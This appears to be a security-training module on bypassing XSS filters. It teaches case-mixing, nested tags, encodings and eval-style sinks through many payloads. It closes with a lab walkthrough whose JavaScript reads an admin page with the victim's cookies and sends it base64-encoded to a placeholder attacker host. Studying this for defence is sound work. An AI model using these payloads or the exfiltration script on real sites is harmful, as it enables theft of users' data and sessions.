XSS Filter Bypasses
To conclude the module, we will discuss different types of XSS filters and how to bypass them.
Achieving JavaScript Execution
Before discussing bypassing XSS filters, we will explore three ways to achieve JavaScript code execution.
Script Tag
The most common (and obvious) method of achieving code execution is via the script tag; web browsers will execute any JavaScript code contained within it:
<script>alert(1)</script>
Pseudo Protocols
We can use pseudo protocols such as javascript or data in certain HTML attributes that indicate where data is loaded from to achieve JavaScript code execution. For instance, we can set the target of an a tag to the javascript pseudo protocol and the corresponding JavaScript code is executed when the link is clicked:
<a href="javascript:alert(1)">click</a>
We can also create XSS payloads with pseudo protocols that do not require user interaction. For instance, using the object tag. The data pseudo protocol allows us to specify plain HTML code or base64-encoded HTML code:
<object data="javascript:alert(1)"> <object data="data:text/html,<script>alert(1)</script>"> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
Event Handlers
Thirdly, we can use event handlers such as onload or onerror to specify JavaScript code that is executed when the event handler is triggered:
<img src=x onerror=alert(1)> <svg onload=alert(1)>
There are many event handlers that we can use for this purpose. A good overview is provided by PortSwigger's XSS Cheat Sheet.
Bypassing Basic Blacklists
Suppose a web application implements a simple blacklist to block keywords that can lead to JavaScript code execution. For instance, by blocking HTML tags like the script tag, pseudo protocols like javascript and data, and event handlers like onload and onerror.
In these cases, we can try a few things to bypass a naive blacklist. For instance, the casing in HTML tags, pseudo protocols, and event handlers is irrelevant. More specifically, we can mix lowercase and uppercase letters to bypass blacklists that block only lowercase keywords:
<ScRiPt>alert(1);</ScRiPt> <object data="JaVaScRiPt:alert(1)"> <img src=x OnErRoR=alert(1)>
Furthermore, if a naive blacklist strips all occurrences of the keyword <script> but is not applied recursively, we can bypass the filter with a payload similar to the following:
<scr<script>ipt>alert(1);</scr<script>ipt>
Lastly, if such a blacklist utilizes a regular expression that is weak and makes assumptions about the syntax of HTML tags or only blocks certain special characters, we might be able to bypass the blacklist by breaking these assumptions. For instance, if a blacklist expects a space before any event handler or an input field does not allow a space, the following payload may bypass the filter:
<svg/onload=alert(1)> <script/src="https://exploit.htb/exploit"></script>
Advanced Bypasses
Suppose we inject an HTML tag, resulting in JavaScript code execution. In that case, we may need to bypass additional filters applied to the JavaScript code, which restrict which functions we can call or which data we can access in the JavaScript context. There are many techniques we can apply to attempt to bypass such filters. We will explore how to bypass filters by encoding strings and passing these strings to execution sinks to execute the JavaScript code.
In JavaScript, we can apply many different encodings to strings that help us evade blacklists. Here are different encodings of the string "alert(1)":
# Unicode
"\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029"
# Octal Encoding
"\141\154\145\162\164\50\61\51"
# Hex Encoding
"\x61\x6c\x65\x72\x74\x28\x31\x29"
# Base64 Encoding
atob("YWxlcnQoMSk=")To supply our payload in a string, we need to be able to use quotes. If a filter removes or blocks quotes, we can use one of the following tricks to create a string containing our payload:
# String.fromCharCode
String.fromCharCode(97,108,101,114,116,40,49,41)
# .source
/alert(1)/.source
# URL Encoding
decodeURI(/alert(%22xss%22)/.source)Thus far, we have only managed to supply our payload in a string; however, the browser will only execute it if it is passed to an execution sink that takes a string as input. The most famous example of such an execution sink is the eval function; in addition to eval, other execution sinks include:
eval("alert(1)")
setTimeout("alert(1)")
setInterval("alert(1)")
Function("alert(1)")()
[].constructor.constructor(alert(1))()At last, we can combine an execution sink with an encoded string to attempt to bypass a weak XSS filter:
eval("\141\154\145\162\164\50\61\51")
setTimeout(String.fromCharCode(97,108,101,114,116,40,49,41))
Function(atob("YWxlcnQoMSk="))()Note: To bypass an XSS filter in the real-world, we can apply the same methodology used in bypassing filters for other vulnerabilities, such as SQL injection or command injection. The actual bypass depends on the filter implemented by the web application. It requires careful testing to identify which keywords are whitelisted or blacklisted to come up with an exploit that is not blocked.
Resources
For more XSS filter bypasses, check out OWASP's XSS Filter Evasion Cheat Sheet. Furthermore, there are collections of XSS payloads for different types of filters. For instance, if we are unable to use any parentheses, we may refer to the XSS without Parentheses payload collection. Additionally, the HTML 5 Security Cheatsheet gives further browser-specific examples for XSS exploitation.
XSS Filter Bypasses Questions
Question 1: Bypass the XSS filter to exploit the XSS vulnerability to exfiltrate data the victim can access and find the flag.
Add the necessary vHosts to your
/etc/hostsfile:sudo sh -c 'echo "10.129.145.169 exploitserver.htb filterbypass.htb" >> /etc/hosts'Log in to the vulnerable site (
https://filterbypass.htb) using the credentialshtb-stdnt:Academy_student!.Submit your base XSS payload as a guestbook entry. To bypass the filter, use a mix of lowercase and uppercase letters:
<ScRiPt SrC="https://exploitserver.htb/exploit"></ScRiPt>On the exploit server (
https://exploitserver.htb), craft a payload to exfiltrate the contents of the/admin.phpendpoint:var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://filterbypass.htb/admin.php', false); xhr.withCredentials = true; xhr.send();
var exfil = new XMLHttpRequest(); exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(xhr.responseText), false); exfil.send(); ``` 5. After the victim triggers the payload, decode the Base64 encoded response, while using grep to locate the flag.
Last updated